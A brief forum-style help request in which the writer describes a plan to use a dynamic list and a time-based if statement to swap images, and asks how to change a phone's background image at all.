My thought is using a dynamic list, and changing images by if statement connected to time (still didn’t implement), but as said, I can’t find how to change the phone image BG at all. Thanks!